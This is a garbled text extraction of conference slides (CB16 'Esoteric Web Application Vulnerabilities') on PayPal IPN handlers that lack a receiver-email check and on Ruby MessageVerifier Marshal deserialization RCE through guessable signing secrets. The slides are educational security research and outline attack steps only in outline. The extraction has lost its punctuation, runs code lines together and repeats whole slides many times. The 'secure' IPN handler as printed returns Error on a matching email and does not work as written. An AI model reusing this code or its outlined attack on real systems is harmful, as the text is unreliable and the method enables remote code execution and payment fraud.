BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 29: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Insecure IPN handlers - No receiver email check

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 30: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Insecure IPN handlers - No receiver email check

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 31: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Attacker needs to perform a special Paypal payment using a target specific custom_id parameter which will associate the spoofed payment with his account

The payment is made from the attackerrsquos credit card to his paypal account Money is still under his control but the attacker will lose Paypalrsquos commission for each transaction

Many example IPN implementations in githubcom are vulnerable I wonder how many were used to create applications which are currently live in production

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 32: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Secure IPN handler

import requests

PAYPAL_URL = httpswwwpaypalcomcgi-binwebscrcmd=_notify-validateMERCHANT_PAYPAL_USER = foobarcom

def handle_paypal_ipn(params)if params[receiver_email] == MERCHANT_PAYPAL_USER

return Error

params contains all parameters sent by Paypalresponse = requestspost(PAYPAL_URL data=params)text

if response == VERIFIED The payment is valid at Paypal mark the cart instance as paidcart = Cartget_by_id(params[custom])cartrecord_user_payment(params[mc_gross])cartusersend_thanks_email

elsereturn Error

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 33: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Is this Paypalrsquos fault

Are all payment gateways vulnerable

MercadoPago implemented a different communication protocol for their IPN Their protocol is much better than Paypalrsquos since it doesnrsquot rely on the developerrsquos IPN handler implementation to provide security

MercadoPago sends a GET request with the purchase ID to the IPN URL then the developer needs to perform a GET request to httpsapimercadopagocom in order to retrieve the transaction details This request is authenticated and any attempts to access transactions from other merchants is denied

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 34: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

ActiveSupportMessageVerifier Marshal RCE

ActiveSupportMessageVerifier uses Rubyrsquos Marshal to serialize

arbitrary information which is then signed using a developer

provided secret A verified message looks like

The message can be decoded

BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==--8bacd5cb3e72ed7c457aae1875a61d668438b616

193-p551 006 gt Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==)=gt x04bIx1Aandresbonsai-seccomx06x06ET 193-p551 007 gt Marshalload(Base64decode64(BAhJIhphbmRyZXNAYm9uc2FpLXNlYy5jb20GOgZFVA==))=gt andresbonsai-seccom 193-p551 008 gt

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 35: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

ActiveMessages are signed

When the application receives the signed message it will take the

base64 encoded data and calculate HMAC SHA1 for it using using

the developer controlled secret

The calculated signature must match the one provided with the

message

Once the signature is verified the data is base64 decoded and

Unmarshaled

BAhJIh--8bacd5cb3e72ed7c457aae1875a61d668438b616

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 36: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Guessable signing secret leads to RCE

Rubyrsquos documentation clearly states that unmarshaling arbitrary data

is insecure and will lead to arbitrary code execution

ActiveSupportMessageVerifier is protected against this vulnerability

by a developer controlled secret Poorly chosen secrets allow

1 Brute-force attack to discover the secret

2 Specially crafted gadgetobject is created serialized and

encoded

3 Secret is used to sign gadget

4 Signed message is sent to the application where it will be

unmarshalled and remote code execution is achieved

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 37: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Secure ActiveSupportMessageVerifier usage

Choose randomly generated long secrets to sign your messages

Use a different serialization method

verifier = ActiveSupportMessageVerifiernew(long_secret serializer json)

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 38: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

Vulnerabilities are always there

Yoursquore smarter than your tools Let the automation do the grunt work and focus your time on source code review application logic flaws issues specific to the target application etc

Yoursquore smarter than your client Convince them that with the source code yoursquoll be able to identify more vulnerabilities and provide greater ROI

Yoursquore smarter (well actually more trained in security vulnerabilities and risks) than most developers They will make mistakes no matter how good they are

andresbonsai-seccom

w3af

Page 39: [CB16] Esoteric Web Application Vulnerabilities by Andrés Riancho

andresbonsai-seccom

w3af